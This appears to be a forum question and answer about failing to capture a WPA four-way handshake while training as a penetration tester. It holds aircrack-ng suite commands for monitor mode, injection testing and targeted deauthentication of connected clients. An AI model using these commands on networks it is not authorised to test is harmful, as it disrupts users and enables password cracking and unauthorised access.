I am unable to secure a WPA handshake (4 way handshake)

Question

I am training to be a pen tester and am having some issues obtaining a 4 way handshake. I use airodump-ng -c -w file --bssid wlo1 followed by Aireplay-ng -0 0 -a (Mac) wlo1

Here's all the steps I follow:

Ifconfig wlo1
ifconfig wlo1 down
iwconfig wlo1 mode monitor
ifconfig wlo1 up
airmon-ng check wlo1
kill processes

Airodump-ng wlo1
airodump-ng -c (channel) -w (file) --bssid  wlo1 
aireplay-ng -0 0 -a (mac) wlo1

I know what to do after I get the handshake, I am just stuck. Any help would be greatly appreciated. I am using Fedora 25

Answer 1

First you have to make sure that your NIC can inject and that the targeted access point is in range.

aireplay-ng -9 wlo1 

After running this command you should see 'Injection is working!' , and the targeted AP with a high response rate ( 50 - 100% )

Deauthentication attack sends disassocate packets to connected clients, so you need to have at least one associated client.

airodump-ng -c <ap channel> --bssid <ap mac> wlo1 

There should be at least one MAC under the 'STATION' tab associated with the AP. You can use this client for a targeted attack.

aireplay-ng -0 5 -a <ap mac> -c <client mac> wlo1

You may have to run the above command several times untill you get a handshake.

You can increase or decrease the number of deauthentication packets. Sometimes one is enough, sometimes it takes ten or more. If you still can't capture a WPA handshake then maybe the issue is with your NIC. Here you'll find a list of compatible drivers, and a patching guide.